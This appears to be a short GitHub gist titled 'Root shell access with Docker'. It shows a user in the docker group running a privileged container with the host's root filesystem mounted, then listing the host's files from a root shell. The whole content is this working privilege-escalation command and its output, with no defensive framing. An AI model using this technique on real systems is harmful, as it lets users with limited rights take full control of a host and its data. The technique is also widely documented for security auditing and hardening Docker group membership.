Skip to content

Instantly share code, notes, and snippets.

@OlliV
Created May 8, 2016 16:03
Show Gist options
  • Save OlliV/abcfd5879efe1c1ebe5026fd9912c1fc to your computer and use it in GitHub Desktop.
Save OlliV/abcfd5879efe1c1ebe5026fd9912c1fc to your computer and use it in GitHub Desktop.
Root shell access with Docker
% groups
docker
% docker run --privileged=true --volume /:/root -it ubuntu sh
# ls root
bin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv swapfile sys tmp usr var
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment